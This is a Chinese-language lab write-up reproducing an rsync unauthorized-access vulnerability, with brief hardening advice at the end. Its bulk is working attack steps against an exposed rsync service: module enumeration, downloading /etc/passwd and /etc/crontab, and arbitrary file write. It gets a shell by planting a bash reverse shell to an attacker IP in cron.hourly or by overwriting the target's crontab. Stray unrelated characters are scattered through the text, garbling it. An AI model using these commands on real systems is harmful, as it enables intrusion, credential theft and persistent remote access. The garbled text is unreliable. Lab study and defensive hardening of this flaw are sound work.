遵紀守法
任何個人和組織使用網(wǎng)絡(luò)應(yīng)當遵守憲法法律雪侥,遵守公共秩序碗殷,尊重社會公德,不得危害網(wǎng)絡(luò)安全速缨,不得利用網(wǎng)絡(luò)從事危害國家安全锌妻、榮譽和利益
Rsync未授權(quán)訪問漏洞
rsync是Linux下一款數(shù)據(jù)備份工具,支持通過rsync協(xié)議旬牲、ssh協(xié)議進行遠程文件傳輸仿粹。其中rsync協(xié)議默認監(jiān)聽873端口搁吓,如果目標開啟了rsync服務(wù),并且沒有配置ACL或訪問密碼吭历,我們將可以讀寫目標服務(wù)器文件擎浴。
環(huán)境搭建
docker pull vulfocus/rsync-common:latest
docker run -d -p 873:873 378d5c66daec(容器ID)
nmap -p 873 --script rsync-list-modules 192.168.52.132
復(fù)現(xiàn)
環(huán)境啟動后,我們用rsync命令訪問
rsync rsync://192.168.52.132:873/src/
如上圖毒涧,有一個src模塊贮预,我們再列出這個模塊下的文件:
rsync rsync://192.168.52.132:873/src/
任意文件下載
這是一個Linux根目錄,我們可以下載任意文件
#比如下載 passwd文件
rsync -av rsync://192.168.52.132:873/src/etc/passwd ./
或者
rsync -av ip::src/路徑
任意文件寫入
寫入 ceshi.txt 文件到 src 目錄
rsync -av ceshi.txt rsync://192.168.52.132:873/src/ceshi.txt
//rsync -av 文件路徑 rsync://ip:873/目標系統(tǒng)文件路徑
利用任意文件寫入契讲、下載功能來 getshell
首先下載crontab配置文件查看一下
rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
該環(huán)境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
#表示每小時的第17分鐘執(zhí)行一次 run-parts --report /etc/cron.hourly
本地創(chuàng)建shell文件
touch shell.sh #創(chuàng)建shell文件
shell內(nèi)容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.52.137/8888 0>&1
賦予 shell 文件執(zhí)行權(quán)限:
chmod 777 shell.sh
將shell上傳至/etc/cron.hourly
rsync -av shell.sh rsync://192.168.52.132:873/src/etc/cron.hourly
接下來仿吞,kali本地監(jiān)聽8888端口
nc -nvlp 8888
因為每小時第十七分鐘運行我們上傳的bash腳本,所以反彈shell需要等待
第二種方法
將反彈shell文件上傳到攻擊者目錄下
rsync -av fantan.sh rsync://192.168.52.132:873/src/tmp/fantan.sh
下載對方定時任務(wù)文件crontab
rsync -av rsync://192.168.52.132:873/src/etc/crontab ./
編輯crontab文件并保存退出(每隔1分鐘運行一次腳本)
*/1 * * * * root bash /tmp/fantan.sh
反彈shell的攻擊者監(jiān)聽端口
nc -lvvp 1234
將crontab文件上傳到目標服務(wù)器:
rsync -av crontab rsync://192.168.52.132:873/src/etc/crontab
修復(fù)建議
更改rysnc默認配置文件/etc/rsyncd.conf捡偏,添加或修改參數(shù):
訪問控制唤冈;設(shè)置host allow,限制允許訪問主機的IP银伟。
權(quán)限控制你虹;設(shè)置read only,將模塊設(shè)置成只讀彤避。
訪問認證傅物;設(shè)置auth、secrets琉预,認證成功才能調(diào)用服務(wù)董饰。
模塊隱藏;設(shè)置list圆米,將模塊隱藏卒暂。